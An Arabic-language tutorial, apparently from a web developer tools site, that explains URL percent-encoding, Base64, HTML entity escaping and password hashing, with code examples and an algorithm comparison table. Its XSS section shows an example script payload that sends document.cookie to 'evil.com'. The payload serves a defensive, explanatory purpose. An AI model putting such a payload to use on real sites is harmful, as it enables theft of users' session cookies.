يتعامل مهندسو البرمجيات ومطورو الويب باستمرار مع تحويلات البيانات: تهيئة معلمات الاستعلام لطلبات HTTP، وتضمين ملفات الصور داخل ملفات JSON، وتنقية مدخلات المستخدم ضد الثغرات، وحساب الهاش لكلمات المرور.
ورغم أهميتها، يقع الكثيرون في خلط شائع بين الترميز (Encoding)، والهروب (Escaping)، والتجزئة أو الهاش (Hashing). ويعد الخلط بين هذه المفاهيم الثلاثة أحد أبرز أسباب الثغرات الأمنية الحرجة مثل هجمات البرمجة عبر المواقع (XSS)، وحقن SQL، وانهيار آليات المصادقة.
النقاط الجوهرية
- الترميز (قابل للعكس): يغير طريقة تمثيل البيانات لنقلها بأمان عبر طبقات الشبكة دون فقدان أي معلومة (مثل Base64، وترميز URL).
- الهروب (مرتبط بالسياق): يوجه مفسر الأكواد للتعامل مع الرموز المحجوزة كبيانات نصية عادية وليست أوامر برمجية تنفيذية (مثل كيانات HTML).
- الهاش (أحادي الاتجاه): خوارزمية رياضية تحول البيانات أياً كان حجمها إلى بصمة رقمية ثابتة الطول يستحيل عكسها رياضياً (مثل SHA-256).
- لا تستخدم الترميز أبداً كحماية أمنية: ترميز Base64 ليس تشفيراً؛ ويمكن لأي شخص فكه فوراً دون الحاجة إلى أي مفتاح سري.
1. ترميز URL بالنسبة المئوية (Percent-Encoding)
وفقاً لمعيار RFC 3986، تقتصر معرفات الموارد الموحدة (URIs) على مجموعة محددة من أحرف US-ASCII. ويجب التعبير عن أي محارف خارج المجموعة غير المحجوزة (A-Z، a-z، 0-9، -، _، .، ~) كبايتات مسبوقة بعلامة النسبة المئوية (%XX)، حيث يمثل XX القيمة الست عشرية للبايت.
المقارنة بين encodeURI و encodeURIComponent
في بيئة جافا سكريبت، يتسبب الاختيار الخاطئ في أخطاء شائعة:
| الميزة | encodeURI |
encodeURIComponent |
|---|---|---|
| الهدف الأساسي | الروابط الكاملة متضمنة البروتوكول والمسار | مفاتيح أو قيم مفردة في سلسلة الاستعلام |
هل يهرب الرموز : / ? # & = + |
لا (يحافظ على بنية روابط URL) | نعم (يحولها جميعاً إلى %XX) |
| مثال عملي | encodeURI('https://site.com/search?q=a+b') |
encodeURIComponent('بحث & شركة') |
// Example breakdown
const query = 'developer tools & utilities = free';
console.log(encodeURIComponent(query));
// Output: "developer%20tools%20%26%20utilities%20%3D%20free"
لتهيئة روابطك بدقة، استخدم أداتنا التفاعلية URL Encoder & Decoder.
2. ترميز Base64: تمثيل البيانات الثنائية بأحرف ASCII
يمثل ترميز Base64 (وفق RFC 4648) البيانات الثنائية بنظام عددي ذي أساس 64 يتكون من محارف ASCII القابلة للطباعة: A–Z و a–z و 0–9 و + و / (مع علامة = للحشو).
الأساس الرياضي للتحويل
تعالج الحواسيب البيانات في بايتات ذات 8 بتات. يجمع Base64 كل 24 بتاً (3 بايتات) ويقسمها إلى 4 أجزاء يحتوي كل منها على 6 بتات ($2^6 = 64$ قيمة محتملة).
$$\text{3 Bytes (24 bits)} \longrightarrow \text{4 Base64 Characters (6 bits each)}$$
ونظراً لإنتاج 4 محارف مقابل كل 3 بايتات من المدخلات، يفرض Base64 زيادة حتمية في الحجم بنسبة 33%:
$$\text{Encoded Size} \approx \lceil \frac{N}{3} \rceil \times 4 \text{ bytes}$$
// Browser-native Base64 conversions for text
function textToBase64(str) {
return btoa(unescape(encodeURIComponent(str)));
}
function base64ToText(b64) {
return decodeURIComponent(escape(atob(b64)));
}
يعد Base64 ممتازاً لتضمين الصور الصغيرة في ملفات CSS. جرب أداتنا Base64 Encoder / Decoder.
3. هروب كيانات HTML: حائط الصد ضد هجمات XSS
يستبدل هروب HTML المحارف ذات المعنى التركيبي بكيانات نصية آمنة:
| المحرف | المعنى في كود HTML | الكيان البديل |
|---|---|---|
< |
بداية وسم برمجي | < |
> |
إغلاق وسم برمجي | > |
& |
بادئة الكيانات | & |
" |
محدد قيم الخصائص | " |
' |
محدد قيم الخصائص | ' |
بدون الهروب، يؤدي إدراج نصوص المستخدمين غير المفحوصة إلى ثغرات XSS خطيرة:
<!-- Vulnerable injection -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
<!-- Safe escaped rendering -->
<div>User comment: <script>fetch('https://evil.com?c=' + document.cookie)</script></div>
افحص قوالبك ومخرجاتك عبر HTML Entity Encoder / Decoder.
4. تجزئة التشفير (الهاش): البصمة الرقمية أحادية الاتجاه
بخلاف الترميز، فإن الهاش غير قابل للعكس نهائياً. وتحقق دالة الهاش الآمنة أربع خصائص أساسية:
- مقاومة الصورة الأصلية: يستحيل حسابياً إيجاد الرسالة $m$ بمعرفة الهاش $h$ بحيث يكون $H(m) = h$.
- مقاومة الصورة الأصلية الثانية: يستحيل إيجاد مدخل $m_2$ يطابق نفس هاش $m_1$.
- مقاومة التصادم: يستحيل عملياً إيجاد أي مدخلين مختلفين $x \neq y$ ينتجان نفس الهاش $H(x) = H(y)$.
- أثر الانهيار (Avalanche Effect): تغيير بت واحد في المدخل يقلب ناتج الهاش بالكامل رأساً على عقب.
مقارنة الخوارزميات الشائعة
| الخوارزمية | حجم الناتج | حالة التصادم | الموقف في بيئات الإنتاج |
|---|---|---|---|
| MD5 | 128 بت (32 ست عشري) | مكسورة تماماً | ملغاة، لفحص الملفات البسيط فقط |
| SHA-1 | 160 بت (40 ست عشري) | مكسورة أمنياً (2017) | مهملة؛ يجب الانتقال إلى SHA-256 |
| SHA-256 | 256 بت (64 ست عشري) | آمنة تشفيرياً | المعيار العالمي لشهادات TLS و Git |
| SHA-512 | 512 بت (128 ست عشري) | آمنة تشفيرياً | الأنظمة فائقة الأمان وبروتوكولات HMAC |
أنشئ معرفات ورموزاً عشوائية قوية عبر UUID Generator و Password Generator.
متى تختار كل تقنية؟
- لنقل النصوص في روابط الإنترنت: استخدم ترميز URL بالنسبه المئوية.
- لتضمين وسائط ثنائية في ملفات نصية: استخدم Base64.
- لعرض مدخلات المستخدمين على صفحات الويب: استخدم هروب HTML.
- للتحقق من سلامة وصحة الملفات: استخدم تجزئة التشفير (الهاش).
الأسئلة الشائعة
هل يمكن فك تشفير Base64؟ ترميز Base64 ليس تشفيراً؛ ويمكن لأي أداة بسيطة إعادة البيانات إلى بايتاتها الأصلية دون الحاجة إلى أي مفتاح.
هل SHA-256 كافٍ بمفرده لتخزين كلمات المرور؟ لا، لأن معالجات الرسوميات الحديثة تختبر مليارات الهاشات في الثانية الواحدة. تتطلب كلمات المرور دوال اشتقاق مفاتيح بطيئة وتعتمد على الذاكرة مثل Argon2id أو bcrypt.
لماذا تُرمز المسافات أحياناً بـ %20 وأحياناً بـ +؟
في مسارات RFC 3986 يُشترط استخدام %20، بينما في نموذج إرسال استمارات الويب التاريخي application/x-www-form-urlencoded كان يُرمز للمسافة بـ +.